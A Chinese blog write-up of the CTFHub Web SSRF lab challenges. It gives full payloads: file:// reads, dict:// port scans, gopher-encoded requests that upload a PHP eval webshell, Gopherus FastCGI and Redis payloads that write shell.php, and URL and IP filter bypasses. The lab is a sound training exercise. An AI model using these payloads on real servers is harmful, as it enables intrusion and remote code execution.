CTFHub-Web-SSRF练习

已于 2022-03-14 20:01:23 修改
阅读量6.6k 收藏 10
点赞数 5
分类专栏： WriteUp CTFHub CTF 文章标签： php SSRF
于 2021-10-18 20:31:53 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_46150940/article/details/113825211
版权
CTF 同时被 3 个专栏收录
39 篇文章 12 订阅
订阅专栏
WriteUp
15 篇文章 2 订阅
订阅专栏
CTFHub
8 篇文章 1 订阅
订阅专栏

基础知识

内网访问

题目描述：尝试访问位于127.0.0.1的flag.php吧

访问靶机地址，发现url后面多了/?url=_
在这里插入图片描述
然后访问127.0.0.1/flag.php

Payload: ?url=127.0.0.1/flag.php

本题源码：

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

伪协议读取文件

题目描述：尝试去读取一下Web目录下的flag.php吧

在这里插入图片描述

在SSRF中常用的伪协议是file:///协议，其在ssrf中可以用来读取php源码。
本题源码index.php

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

Payload: ?url=file:///var/www/html/flag.php

然后查看源代码
在这里插入图片描述

端口扫描

题目描述：来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

在这里插入图片描述

使用SSRF中的dict协议可以用来探测开放的端口

Payload: ?url=dict://127.0.0.1:8000

利用burpsuite对端口进行爆破
在这里插入图片描述
提示端口号在8000-9000
在这里插入图片描述

发现8566端口长度与其他端口不一样
在这里插入图片描述
然后访问8566端口

Payload: ?url=127.0.0.1:8566

在这里插入图片描述
本题源码

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

header("Tips: Port = [8000,9000)");

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);

Gopher协议的利用

POST请求

题目描述：这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年

根据提示抓包访问302.php，无服务
在这里插入图片描述

尝试访问flag.php
在这里插入图片描述
内网访问flag.php，发现了key=e42236c6f932a86af6eaa1f0ca77e0de

?url=127.0.0.1/flag.php

在这里插入图片描述

需要我们用gopher协议去用post key到flag.php，不过需要注意的是要从127.0.0.1发送数据。使用方法：gopher://ip:port/_payload

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e42236c6f932a86af6eaa1f0ca77e0de
#注意Content-Length那里，必须和你的POST请求长度一样

URL编码,进行url三次编码即（注：第一次url编码后要手动在所有%0A前面加上%0D，再进行后续编码）

POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=e42236c6f932a86af6eaa1f0ca77e0de

构造Payload：

?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1:80%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250AContent-Length:%252036%250D%250A%250D%250Akey=e42236c6f932a86af6eaa1f0ca77e0de

得到flag
在这里插入图片描述
利用gopher协议构造post请求脚本如下：

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=e42236c6f932a86af6eaa1f0ca77e0de
"""  
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

得到

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253De42236c6f932a86af6eaa1f0ca77e0de%250D%250A

上传文件

参考文章：https://www.jianshu.com/p/a9e5a64b733b

题目描述：这次需要上传一个文件到flag.php了.祝你好运

访问靶机地址，一片空白，尝试访问flag.php，提示需要从本地访问
在这里插入图片描述
从目标机本地访问flag.php：

?url=127.0.0.1/flag.php

得到文件上传的页面：
在这里插入图片描述

使用伪协议读取flag.php的源码

Payload: ?url=file:///var/www/html/flag.php

flag.php

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

发现会判断文件是否为空, 上传一个非空文件,没有提交选项，F12手动添加提交框:

<input type="submit" name="submit" >

得到
在这里插入图片描述
上传文件，bp拦截
在这里插入图片描述
将Host的值改为127.0.0.1:80，然后将上面的包进行第一次url编码，然后把%0A改成%0D%0A，然后再进行两次url编码。拿脚本梭

import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------92335795416210780092655892737
Content-Length: 395
Origin: http://challenge-6af7ed5071d80457.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-6af7ed5071d80457.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------92335795416210780092655892737
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream

<?php 
    @eval($_POST["pass"]);
?> 
-----------------------------92335795416210780092655892737
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------92335795416210780092655892737--
"""  
​
#注意后面一定要有回车，回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 这里因为是GET请求所以要进行两次url编码

输出结果如下：

gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520challenge-973c40c4217366cd.sandbox.ctfhub.com%253A10800%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A90.0%2529%2520Gecko/20100101%2520Firefox/90.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------340238428019634687501146349694%250D%250AContent-Length%253A%2520394%250D%250AOrigin%253A%2520http%253A//challenge-973c40c4217366cd.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-973c40c4217366cd.sandbox.ctfhub.com%253A10800/%253Furl%253D127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------340238428019634687501146349694%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520%250D%250A%2520%2520%2520%2520%2540eval%2528%2524_POST%255B%2522pass%2522%255D%2529%253B%250D%250A%253F%253E%2520%250D%250A-----------------------------340238428019634687501146349694%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25C3%25A6%25C2%258F%25C2%2590%25C3%25A4%25C2%25BA%25C2%25A4%25C3%25A6%25C2%259F%25C2%25A5%25C3%25A8%25C2%25AF%25C2%25A2%250D%250A-----------------------------340238428019634687501146349694--%250D%250A

传参得到flag
在这里插入图片描述

FastCGI协议

题目描述：这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

Gopherus工具：https://github.com/tarunkant/Gopherus.git
参考：https://blog.csdn.net/mysteryflower/article/details/94386461

如果端口9000是开放的，则SSRF漏洞可能存在并且可能导致RCE。为了利用它，您需要提供一个目标主机上必须存在的文件名（首选.php）。

?url=file:///var/www/html/index.php

?php
​
error_reporting(0);
​
if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}
​
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

目标服务器上存在/var/www/html/index.php。

准备一句话木马：<?php @eval($_POST['x']);?>，保存在文件tmp.php中

构造要执行的终端命令：对一句话木马进行解码，并写入到名为shell.php的文件中。

echo “PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==” | base64 -d > shell.php

使用Gopherus工具生成payload

┌──(kali㉿kali)-[~/桌面/Python/SSRF/Gopherus]
└─$ python gopherus.py --exploit fastcgi                                                                                                           2 ⨯


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  /var/www/html/index.php
Terminal command to run:  echo "PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg==" | base64 -d > shell.php

Your gopher link is ready to do SSRF: 

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%05%05%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%03CONTENT_LENGTH119%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00w%04%00%3C%3Fphp%20system%28%27echo%20%22PD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg%3D%3D%22%20%7C%20base64%20-d%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

-----------Made-by-SpyD3r-----------

url编码一下,url传参

?url=%67%6f%70%68%65%72%3a%2f%2f%31%32%37%2e%30%2e%30%2e%31%3a%39%30%30%30%2f%5f%25%30%31%25%30%31%25%30%30%25%30%31%25%30%30%25%30%38%25%30%30%25%30%30%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%31%25%30%35%25%30%35%25%30%30%25%30%46%25%31%30%53%45%52%56%45%52%5f%53%4f%46%54%57%41%52%45%67%6f%25%32%30%2f%25%32%30%66%63%67%69%63%6c%69%65%6e%74%25%32%30%25%30%42%25%30%39%52%45%4d%4f%54%45%5f%41%44%44%52%31%32%37%2e%30%2e%30%2e%31%25%30%46%25%30%38%53%45%52%56%45%52%5f%50%52%4f%54%4f%43%4f%4c%48%54%54%50%2f%31%2e%31%25%30%45%25%30%33%43%4f%4e%54%45%4e%54%5f%4c%45%4e%47%54%48%31%32%33%25%30%45%25%30%34%52%45%51%55%45%53%54%5f%4d%45%54%48%4f%44%50%4f%53%54%25%30%39%4b%50%48%50%5f%56%41%4c%55%45%61%6c%6c%6f%77%5f%75%72%6c%5f%69%6e%63%6c%75%64%65%25%32%30%25%33%44%25%32%30%4f%6e%25%30%41%64%69%73%61%62%6c%65%5f%66%75%6e%63%74%69%6f%6e%73%25%32%30%25%33%44%25%32%30%25%30%41%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%6c%65%25%32%30%25%33%44%25%32%30%70%68%70%25%33%41%2f%2f%69%6e%70%75%74%25%30%46%25%31%37%53%43%52%49%50%54%5f%46%49%4c%45%4e%41%4d%45%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70%25%30%44%25%30%31%44%4f%43%55%4d%45%4e%54%5f%52%4f%4f%54%2f%25%30%30%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%34%25%30%30%25%30%31%25%30%30%25%30%30%25%30%30%25%30%30%25%30%31%25%30%35%25%30%30%25%30%31%25%30%30%25%37%42%25%30%34%25%30%30%25%33%43%25%33%46%70%68%70%25%32%30%73%79%73%74%65%6d%25%32%38%25%32%37%65%63%68%6f%25%32%30%25%32%32%50%44%39%77%61%48%41%67%51%47%56%32%59%57%77%6f%4a%46%39%51%54%31%4e%55%57%79%64%34%4a%31%30%70%4f%7a%38%25%32%42%43%67%25%33%44%25%33%44%25%32%32%25%32%30%25%37%43%25%32%30%62%61%73%65%36%34%25%32%30%2d%64%25%32%30%25%33%45%25%32%30%73%68%65%6c%6c%2e%70%68%70%25%32%37%25%32%39%25%33%42%64%69%65%25%32%38%25%32%37%2d%2d%2d%2d%2d%4d%61%64%65%2d%62%79%2d%53%70%79%44%33%72%2d%2d%2d%2d%2d%25%30%41%25%32%37%25%32%39%25%33%42%25%33%46%25%33%45%25%30%30%25%30%30%25%30%30%25%30%30

shell.php已经被写入到服务器的/var/www/html目录下

/shell.php

x=system('cat /flag_bb4ae17f50829d327b60b4f752bc438d');

ctfhub{e028c80e91de1a8e7220d506}

Redis协议

这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

Redis系列漏洞总结:https://www.freebuf.com/articles/web/249238.html

主要利用redis未授权访问，如：写ssh-keygen公钥登录，利用计划任务反弹shell，直接写webshell等，主从复制getshell。

方法一：手打

首先用dict协议探测一下是否在6379端口：
url=dict://127.0.0.1:6379

看一下要不要认证：
url=dict://127.0.0.1:6379/info

发现存在，下一步设置本地存放dir：
url=dict://127.0.0.1:6379/config:set:dir:/var/www/html

然后开始写马，一般用十六进制
url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"
<?php @eval($_POST[a]);?>

url=dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x61\x5d\x29\x3b\x3f\x3e"
<?php eval($_POST[a]);?>


设置文件名
url=dict://127.0.0.1:6379/set:dbfilename:atkx.php

最后保存
url=dict://127.0.0.1:6379/save

这题好像行不通,一直复现不成功，而ctfshow web360两种方法都行

方法二：工具梭哈

┌──(kali㉿kali)-[~/桌面/Python/SSRF/Gopherus]
└─$ python gopherus.py --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): php

Give web root location of server (default is /var/www/html): 
Give PHP Payload (We have default PHP Shell): <?php eval($_POST[atkx]); ?>

Your gopher link is Ready to get PHP Shell: 

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Batkx%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. 

-----------Made-by-SpyD3r-----------

再编码一下

?url=gopher://127.0.0.1:6379/_%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%32%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%65%76%61%6c%25%32%38%25%32%34%5f%50%4f%53%54%25%35%42%61%74%6b%78%25%35%44%25%32%39%25%33%42%25%32%30%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41

连接🐎

/shell.php

atkx=system('cat /flag_56381dbdb8879c071fdbd8b47e044436');

ctfhub{3f364bbf61aa400455122885}

Bypass

URL Bypass

请求的URL中必须包含http://notfound.ctfhub.com，来尝试利用URL的一些特殊地方绕过这个限制吧

方法：

1.利用?绕过限制url=https://www.baidu.com?www.xxxx.me
2.利用@绕过限制url=https://www.baidu.com@www.xxxx.me
3.利用斜杠反斜杠绕过限制
4.利用#绕过限制url=https://www.baidu.com#www.xxxx.me
5.利用子域名绕过
6.利用畸形url绕过
7.利用跳转ip绕过

题目要求url must startwith “http://notfound.ctfhub.com”
在这里插入图片描述
我们可以利用@来绕过，如 http://whoami@127.0.0.1实际上是以用户名 whoami 连接到站点127.0.0.1，即 http://notfound.ctfhub.com@127.0.0.1与 http://127.0.0.1请求是相同的，该请求得到的内容都是127.0.0.1的内容。

所以直接构造,成功得到flag。

?url=http://notfound.ctfhub.com@127.0.0.1/flag.php

ctfhub{b808a23b0267eb37a9cf2d47}

数字IP Bypass

这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢

?url=http://127.0.0.1/flag.php
在这里插入图片描述
127被ban了，利用进制绕过

127.0.0.1

十进制：2130706433
十六进制 = 0x7F000001

payload:

?url=http://2130706433/flag.php
?url=http://0x7F000001/flag.php

ctfhub{6c7da22b915e514a2166ebc8}

302跳转 Bypass

SSRF中有个很重要的一点是请求可能会跟随302跳转，尝试利用这个来绕过对IP的检测访问到位于127.0.0.1的flag.php吧

没有vps，在BUU开个靶机，然后在/var/www/html目录下创建ssrf.php

<?php 
header("Location: http://127.0.0.1/flag.php");
?>

然后payload写访问文件的地址

?url=http://challenge-ecc5d8e674ef2aa4.sandbox.ctfhub.com:10800/?url=http://54899ba5-ce14-4afa-a744-c342f2cc5361.node4.buuoj.cn:81/ssrf.php

ctfhub{44d10798e3a02163751e39ee}

DNS重绑定 Bypass

在这个网站注册一个账号http://ceye.io/，然后会给你分配一个域名，修改成如下的内容，第一个随便天填，第二个写

浅谈DNS重绑定漏洞:https://zhuanlan.zhihu.com/p/89426041

配置一下
在这里插入图片描述
然后使用域名

Payload：url=http://r.xxxxxx/flag.php  
#xxx为分给你的域名

ctfhub{89904fb53a36e3df04691243}

参考文章：
我在CTFHub学习SSRF
SSRF的利用方式

Atkxor
关注
专栏目录
ctfshow 红包题第九弹 ssrf
qq_40327508的博客
11-25 1045
通过抓包登陆界面，发现存在ssrf漏洞 在通过ps猜测是ssrf打mysql 使用gopherus工具生成ssrf打mysql 的payload 之后放到burp中把参数在url编码一次 查看是否成功写入文件 成功写入，使用蚁剑连接
CTFHUB-技能树-WEB通关
Alita_lxz的博客
11-11 7160
Web 题目来自ctfhub技能树web部分 Web前置技能 操作系统 数据库 HTTP协议 请求方式 HTTP 请求方法, HTTP/1.1协议中共定义了八种方法（也叫动作）来以不同方式操作指定的资源。 ​ 1.OPTIONS 　　返回服务器针对特定资源所支持的HTTP请求方法。也可以利用向Web服务器发送’*'的请求来测试服务器的功能性,如获取当前URL所支持的方法。若请求成功，则它会在HTTP头中包含一个名为“Allow”的头，值是所支持的方法，如“GET,POST”。 　2.HEAD 　　向服务
题解记录-CTFHub技能树|Web|SSRF
weixin_57448435的博客
09-15 2364
ssrf
CTFHub技能树 Web-SSRF篇（通过教程）
最新发布
网安小白
07-24 1243
这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年。再次进行编码，编码之后和上一个题一样去运行，运行会一直处于转圈中，我们可以访问一下/shell.php页面，继续和上一题一样用中国菜刀访问根目录下的flag文件就是我们需要的flag密码。一个127.0.0.1，一个其他的ip（能访问就行，我设置的是自己的服务器ip）我们访问 127.0.0.1/flag.php 会得到一个输入框。直接爆破，寻找端口，然后访问这个端口，此端口就是flag所在。
一道XXE和SSRF的题目
weixin_33725515的博客
06-22 460
title: 一道XXE漏洞和SSRF结合的题目 date: 2018-01-14 16:47:59 tags: [writeup,ctf] 学校在考试周,ennnn.....搞了校赛 遇到了一道xxe和ssrf结合的题目,感觉挺不错的,简单记录一下 这里只记录下流程,具体的原理这里有几个链接(当时也是复习了一遍 前辈们比我写得好 未知攻焉知防——XXE漏洞攻防 XXE漏洞的简单理解和测试...
SSRF及相关例题
2302_80044238的博客
06-04 788
服务端请求伪造（Server Side Request Forgery, SSRF）指的是攻击者在未能取得服务器所有权限时，利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
2020易博霖CTFWeb2--SSRF题解
flying_bird2019的博客
04-01 2378
Web2 SSRF (靶机服务器已关闭，因此没有截图) 观察题目url index.php?file=WTNSbWFXMWhaMlV1YW5Cbg== 将参数file 进行两次base64解密得ctfimage.jpg 网页输出了上述图片 尝试读取index.php源代码,将file改为YVc1a1pYZ3VjR2h3(index.php两次base64加密) 转到后发现图片无法显示，猜测应该是文...
SSRF题目复现
qq_40909772的博客
11-19 2720
1. [HITCON 2017] SSRFme。 题目平台地址：https://buuoj.cn/challenges 进入题目环境之后是代码审计，代码如下： 59.49.169.109 <?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $_SERVER['REMOTE_AD
CTF-WEB入门DOC-2019版1
08-03
2. 靶场：如BUUOJ、南邮0xCTF、CTF.show、CTFhub、BugKuCTF、攻防世界等，提供实践环境。 3. 学习平台：CTF-Wiki-Web、dalao们的博客、先知社区、freebuf、安全客等。 4. 书籍：《白帽子讲Web安全》、《Web安全攻防...
ctfhub SSRF
08-27
ctfhub是一个CTF训练平台，提供了多个CTF挑战模块，其中包括了SSRF模块。SSRF（Server-Side Request Forgery）是一种攻击技术，可以利用服务器端请求伪造漏洞来发送恶意请求。在ctfhub的SSRF模块中，你可以学习和...
WEB漏洞——SSRF
qq_63594215的博客
04-11 807
这次来介绍WEB漏洞的其中一种类型SSRF，文章将通过讲述其原理、如何挖掘以及怎么利用，包括如何防御和绕过，并且提供靶场来举例说明，详情请往下看。社交分享功能：获取超链接的标题等内容进行显示转码服务：通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览在线翻译：给网址翻译对应网页的内容图片加载/下载：例如富文本编辑器中的点击下载图片到本地；通过URL地址加载或下载图片云服务厂商：它会远程执行一些命令来判断网址是否存活等，所以如果可以捕获相应的信息，就可以进行ssrf测试。
红队系列-网络安全知识锦囊(持续更新)
aming小老弟
11-09 1213
AJP13是定向包协议。因为性能原因，使用二进制格式来传输可读性文本。AJP协议：WEB服务器通过TCP连接和SERVLET容器连接。为了减少进程生成socket的花费，WEB服务器和SERVLET容器之间尝试保持持久性的TCP连接，对多个请求/回复循环重用一个连接。一旦连接分配给一个特定的请求，在请求处理循环结束之前不会在分配。换句话说，在连接上，请求不是多元的。这个是连接两端的编码变得容易，虽然这导致在一时刻会有很多连接。
以点到面的SSRF漏洞入门学习+安鸾渗透测试靶场SSRF系列题目练习 SSRF01 SSRF02 SSRF03
AAAAAAAAAAAA66的博客
02-03 1929
目录 认识 SSRF（服务器伪造） 实例 安鸾SSRF01 有时间的话可以先看看这里 前言：其实我很早就了解到了'SSRF' （服务器伪造）这个名词了，但是当时仅从字面上感觉非常难理解，看了下详细的描述也没有什么头绪，再加上没有碰到什么靶场或者CTF题目有把这个作为单独的考点，到了最后可能就放弃了对SSRF的学习。 所以这里最好从一些简单的靶场练习，帮助我们建立一点印象，再以点到面的学习，然后逐渐的掌握各种相关应用场景。大家耐心的看一遍话基本能简单的入门SSRF了。 这是我一个新手的一.
深入了解ssrf(实践练习)上
qq_62046696的博客
07-04 895
ctfhub直接访问127.0.0.1/flag.php即可 伪协议：事实上是其支持的协议与封装协议。而其支持的部分协议有： file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams)查看源码即可 3.端口扫描（burp爆破）进去以后send to intruder 然后GET /?url=127.0.0.1:§8
nssctf之SSRF刷题记录
夜未至
06-23 904
file_get_contents — 将整个文件读入一个字符串。
利用ssrf 掩盖自己的ip地址，从而攻击其他网站
一个码农的笔记
10-29 1682
如果直接访问    http://www.ip.cn/ 就可以知道自己的ip地址，这样直接攻击网站就会暴露自己，但是，如果用ssrf这个漏洞，就可以用远程的服务器做代理去攻击其他网站 例子： 如果你这样访问http://qjjz.net/newsweb/news.shtml?url=http://www.ip.cn 查看源代码，你会发现你的ip变成了， 当前 IP：124.40.116.2
面试题——WEB相关（一）
qq_44029310的博客
09-07 873
本文涉及的有：Redis未授权访问漏洞如何入侵利用，SSRF漏洞原理、利用方式及修复方案？Java和PHP的SSRF区别，CORS原理和检测，XSS持久化如何实现，MySQL 提权有几种方式，简单说说。
初识CTF Day4 CTFHUBSSRF
suxinAL的博客
10-02 2231
前言 这一次是对ssrf的探索，ctfhub技能树web就快结束了，期待淦进阶 正文 SSRF 内网访问 题目告诉访问127就直接访问下试试，但是没想到这么简单 ?url=127.0.0.1/flag.php 伪协议读取文件 题目提示：尝试去读取一下Web目录下的flag.php吧 可以联想到web目录一般是存放在 var/www/html/ 里面 所以payload如下 ?url=file:///var/www/html/flag.php 进入该页面，查看页面源代码得到flag 端口扫描 题目提示：来来
SSRF详解 基于CTFHub（下篇）
Bossfrank的博客
04-28 1234
本文简要介绍了SSRF服务端请求伪造的原理，并通过CTFHub的实例，介绍SSRF的基本原理、利用方式、绕过思路等。
CTFHub ssrf
07-29
CTFHub是一个CTF（Capture The Flag）比赛平台，提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF（Server-Side Request Forgery）相关的内容，包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理，并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以，CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" 